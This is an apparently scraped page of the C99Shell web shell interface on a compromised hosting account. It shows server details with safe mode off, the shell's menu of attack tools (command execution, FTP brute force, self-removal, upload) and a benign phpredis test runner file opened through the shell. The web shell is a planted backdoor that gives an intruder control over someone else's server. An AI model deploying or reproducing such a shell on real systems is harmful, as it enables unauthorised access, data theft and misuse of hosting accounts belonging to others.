smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/opt/alt/tests/alt-php80-pecl-redis_5.3.7-5.el8/tests/   drwxr-xr-x
Free 39.15 GB of 48.91 GB (80.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TestRedis.php (3.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php define('PHPREDIS_TESTRUN'true);

require_once(
dirname($_SERVER['PHP_SELF'])."/TestSuite.php");
require_once(
dirname($_SERVER['PHP_SELF'])."/RedisTest.php");
require_once(
dirname($_SERVER['PHP_SELF'])."/RedisArrayTest.php");
require_once(
dirname($_SERVER['PHP_SELF'])."/RedisClusterTest.php");
require_once(
dirname($_SERVER['PHP_SELF'])."/RedisSentinelTest.php");

/* Make sure errors go to stdout and are shown */
error_reporting(E_ALL);
ini_set'display_errors','1');

/* Grab options */
$arr_args getopt('', ['host:''port:''class:''test:''nocolors''user:''auth:']);

/* Grab the test the user is trying to run */
$arr_valid_classes = ['redis''redisarray''rediscluster''redissentinel'];
$str_class = isset($arr_args['class']) ? strtolower($arr_args['class']) : 'redis';
$boo_colorize = !isset($arr_args['nocolors']);

/* Get our test filter if provided one */
$str_filter = isset($arr_args['test']) ? $arr_args['test'] : NULL;

/* Grab override host/port if it was passed */
$str_host = isset($arr_args['host']) ? $arr_args['host'] : '127.0.0.1';
$i_port = isset($arr_args['port']) ? intval($arr_args['port']) : 6379;

/* Get optional username and auth (password) */
$str_user = isset($arr_args['user']) ? $arr_args['user'] : NULL;
$str_auth = isset($arr_args['auth']) ? $arr_args['auth'] : NULL;

/* Massage the actual auth arg */
$auth NULL;
if (
$str_user && $str_auth) {
    
$auth = [$str_user$str_auth];
} else if (
$str_auth) {
    
$auth $str_auth;
} else if (
$str_user) {
    echo 
TestSuite::make_warning("User passed without a password, ignoring!\n");
}

/* Validate the class is known */
if (!in_array($str_class$arr_valid_classes)) {
    echo 
"Error:  Valid test classes are Redis, RedisArray, RedisCluster and RedisSentinel!\n";
    exit(
1);
}

/* Toggle colorization in our TestSuite class */
TestSuite::flagColorization($boo_colorize);

/* Let the user know this can take a bit of time */
echo "Note: these tests might take up to a minute. Don't worry :-)\n";
echo 
"Using PHP version " PHP_VERSION " (" . (PHP_INT_SIZE*8) . " bits)\n";

/* Depending on the classes being tested, run our tests on it */
echo "Testing class ";
if (
$str_class == 'redis') {
    echo 
TestSuite::make_bold("Redis") . "\n";
    exit(
TestSuite::run("Redis_Test"$str_filter$str_host$i_port$auth));
} else if (
$str_class == 'redisarray') {
    echo 
TestSuite::make_bold("RedisArray") . "\n";
    global 
$useIndex;
    foreach(array(
truefalse) as $useIndex) {
        echo 
"\n".($useIndex?"WITH":"WITHOUT"). " per-node index:\n";

        
/* The various RedisArray subtests we can run */
        
$arr_ra_tests = [
            
'Redis_Array_Test''Redis_Rehashing_Test''Redis_Auto_Rehashing_Test',
             
'Redis_Multi_Exec_Test''Redis_Distributor_Test'
        
];

        foreach (
$arr_ra_tests as $str_test) {
            
/* Run until we encounter a failure */
            
if (run_tests($str_test$str_filter$str_host$auth) != 0) {
                exit(
1);
            }
        }
    }
} else if (
$str_class == 'rediscluster') {
    echo 
TestSuite::make_bold("RedisCluster") . "\n";
    exit(
TestSuite::run("Redis_Cluster_Test"$str_filter$str_host$i_port$auth));
} else {
    echo 
TestSuite::make_bold("RedisSentinel") . "\n";
    exit(
TestSuite::run("Redis_Sentinel_Test"$str_filter$str_host$i_port$auth));
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--